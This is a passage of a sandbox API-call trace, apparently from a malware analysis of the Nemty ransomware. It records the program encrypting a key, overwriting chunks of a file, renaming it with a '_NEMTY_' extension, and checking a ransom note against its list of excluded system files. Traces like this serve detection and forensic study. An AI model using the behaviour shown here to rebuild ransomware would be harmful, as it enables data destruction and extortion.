cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0146.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0146.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0146.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0146.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0146.078] Sleep (dwMilliseconds=0x5) [0146.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xab97190, dwHighDateTime=0x1d561e8)) [0146.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xab97190, dwHighDateTime=0x1d561e8)) [0146.092] GetLastError () returned 0x12 [0146.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.092] GetLastError () returned 0x12 [0146.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.092] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0146.092] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0146.092] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0146.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0146.092] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="lWxtz0VeduDAOA2H7vVHxPbEiwM+KjbdtJt2cEBd791NdERXwjjANuIupfbovcjx\r\n8291y/p7wwsGVpmojb3c+MpToqgPvVpraYWvEpHNR+9SYmZ3t8zrsrMTFd6WCNUI\r\nhygX3wZJX0RXOUaaIMxhawhfS8s8qMmfbGcl6GkHs7VEBlaMtxPD1iXppr/o6kJH\r\n/b9TC3gMiNhrV/75ZWJA3UNpJrxG8dNDS0N+Ssi1+u+dEt59cmmXIoTIe+0SN5qy\r\nb5tpwC79iACL3Gu+tHfiaLP4H8Nyp78730Sh1Yf7kWJBBdMeFRyvyGbf/s7guTw2\r\nT7PAAxkZW6Crx1Eb6GVQDg==\r\n", pcchString=0x653ec5c) returned 1 [0146.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0146.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0146.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0146.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0146.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0146.092] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.093] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0146.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0146.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.093] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.102] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.103] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.112] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.112] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.121] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.121] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.130] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.130] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.139] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.139] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.149] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.149] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.158] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.158] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.167] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.167] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.177] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.177] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.186] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.186] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.192] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.192] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0146.198] CloseHandle (hObject=0xffffffff) returned 0 [0146.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0146.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0146.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0146.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0146.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0146.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0146.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.199] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\logo.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\logo.png._nemty_kgobjgd_")) returned 0 [0146.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0146.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0146.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0146.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0146.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0146.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0146.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0146.199] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c32f70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x8c32f70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x8c590d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0146.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0146.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0146.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0146.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0146.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0146.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0146.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0146.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0146.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0146.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0146.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0146.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0146.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0146.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.200] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c32f70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x8c32f70, ftLastAccessTime.dwHighDateTime=0x1d561e8, 